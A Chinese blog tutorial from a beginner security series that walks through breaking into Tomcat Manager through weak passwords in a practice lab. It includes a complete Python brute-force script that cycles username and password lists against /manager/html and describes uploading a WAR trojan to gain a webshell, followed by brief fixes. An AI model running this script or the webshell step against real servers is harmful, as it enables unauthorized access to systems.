从0到1玩转网络安全网络与信息安全

从0到1学习网络安全 【实战篇 - Tomcat 弱口令拿web

2019-03-06  本文已影响26人  _07

Tomcat 弱口令

注:今后继续定期更新---“实战”!


Step1:环境搭建
环境搭建这部分略过,今后所有的环境我都会放到公网,感兴趣的朋友可以直接玩。
新环境

这里是三个漏洞 Tomcat 弱口令 、 Tomcat put 上传 、ElasticSearch 命令执行;


Step2:Tomcat 弱口令漏洞复现
image.png

当Tomcat 在配置文件tomcat/webapps/manager/META-INF/context.xml开启允许远程部署环境时,可以通过爆破进入后台部署war包完成webshell上传;

登录时,抓包看到账号密码是通过base64加密的,解密后发现格式为name:passwd如图所示:

登录时抓包

破解结果:


解码

编写python脚本进行爆破(初学python,大佬勿喷):

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#author:iChina
#date:2019.3.4
#

import argparse
import requests
import base64
import Queue
import sys

parser = argparse.ArgumentParser(description="tomcat_login.py -u target -p port")
parser.add_argument('-u','--target',metavar="",help="The target site or ip")
parser.add_argument('-p','--port',metavar="",default="18080",help="Destination port")
parser.add_argument('-n','--name',metavar="",default="name.txt",help="name list")
parser.add_argument('-pwd','--passwd',metavar="",default="passwd.txt",help="passwd list")
args = parser.parse_args()
url = args.target
port = args.port
name_list = args.name
passwd_list = args.passwd
poc_list = Queue.Queue()

def list(name_list,passwd_list):
    n_list=open(name_list,'r')
    for name in n_list:
        p_list=open(passwd_list,'r')
        for pwd in p_list:
            name=name.strip()
            pwd=pwd.strip()
            put_poc(name,pwd)

def put_poc(name,pwd):
        poc = name + ':' + pwd
        poc = base64.b64encode(poc)
        poc_list.put(poc)
        return poc_list

def head(poc):
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        "Accept-Encoding":"gzip, deflate",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Authorization": "Basic " + poc
    }
    return headers

def payload(url,port,headers,poc):
    url = url + ":" + port + "/manager/html"
    response = requests.get(url,headers=headers)
    code = response.status_code
    if code==200:
        poc = base64.b64decode(poc)
        print "The password is - " + poc
        sys.exit(0)
    else:
        pass

def main():
    list(name_list,passwd_list)
    while not poc_list.empty():
        poc = poc_list.get()
        headers=head(poc)
        payload(url,port,headers,poc)

if __name__ == '__main__':
        main()

爆破结果为:


爆破成功

登录后台部署自己的war包,有不知道war木马制作的可以百度搜一下;

上传war包

成功拿到shell:


webshell
Step3:修复建议

1.关闭远程部署。(可能影响运维人员正常操作)

2.在配置文件/tomcat/conf/tomcat-users.xml修改较为复杂的密码

tomcat-users.xml
END

由于小编也在学习中,写的不好请见谅。
从0到1学习网络安全 【目录】

实战环境地址群内公布!!!

白帽交流群 【简介】
感谢大家支持。

上一篇下一篇

猜你喜欢

热点阅读